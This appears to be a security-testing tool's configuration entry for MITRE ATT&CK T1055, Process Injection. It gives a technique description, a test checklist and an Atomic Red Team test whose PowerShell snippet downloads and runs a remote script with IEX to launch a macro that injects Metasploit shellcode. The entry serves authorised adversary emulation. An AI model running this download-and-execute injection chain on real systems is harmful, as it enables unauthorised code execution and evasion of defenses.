t1055-process-injection

name	T1055_process-injection
description	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1055","defense-evasion","privilege-escalation","linux","macos","windows"]
technique_id	T1055
tactic	defense-evasion
all_tactics	["defense-evasion","privilege-escalation"]
platforms	["Linux","macOS","Windows"]
mitre_url	https://attack.mitre.org/techniques/T1055
tech_stack	["linux","macos","windows"]
cwe_ids	["CWE-693"]
chains_with	["T1055.001","T1055.002","T1055.003","T1055.004","T1055.005","T1055.008","T1055.009","T1055.011","T1055.012","T1055.013","T1055.014","T1055.015"]
prerequisites	[]
severity_boost	{"T1055.001":"Chain with T1055.001 for deeper attack path","T1055.002":"Chain with T1055.002 for deeper attack path","T1055.003":"Chain with T1055.003 for deeper attack path"}

T1055 Process Injection

High-Level Description

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

Kill Chain Phase

• Defense Evasion (TA0005)
• Privilege Escalation (TA0004)

Platforms: Linux, macOS, Windows

What to Check

• Identify if Process Injection technique is applicable to target environment
• Check Linux systems for indicators of Process Injection
• Check macOS systems for indicators of Process Injection
• Check Windows systems for indicators of Process Injection
• Verify mitigations are bypassed or absent (2 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Shellcode execution via VBA

This module injects shellcode into a newly created process and executes. By default the shellcode is created, with Metasploit, for use on x86-64 Windows 10 machines.

Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office is required.

Supported Platforms: windows

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"